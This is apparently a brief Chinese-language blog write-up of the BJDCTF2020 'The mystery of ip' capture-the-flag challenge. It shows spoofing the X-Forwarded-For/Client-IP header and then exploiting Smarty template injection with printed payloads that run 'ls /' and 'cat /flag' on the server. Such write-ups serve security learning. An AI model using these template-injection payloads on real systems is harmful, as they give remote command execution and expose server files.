[BJDCTF2020]The mystery of ip-WriteUp

hint.php源代码
image

flag.php,显示了本机的外网地址
image

修改一下数据包client-ip或者XFF字段,成功修改了显示的ip地址
image
猜测一下PHP代码中有获取ip地址的代码,试试存在SQL注入吗?好像不存在

看看别人的WP,存在SSTI

image
image
成功执行phpinfo()信息

用同样的方法可以轻松获得flag:

payload:

{if system("ls /")}{/if}或者{system("ls /")}
{if system("cat /flag")}{/if}或者{system("cat /flag")}

image
image
https://blog.csdn.net/qq_45521281/article/details/107556915

posted @ 2022-01-19 15:45  oldliutou  阅读(38)  评论(0编辑  收藏  举报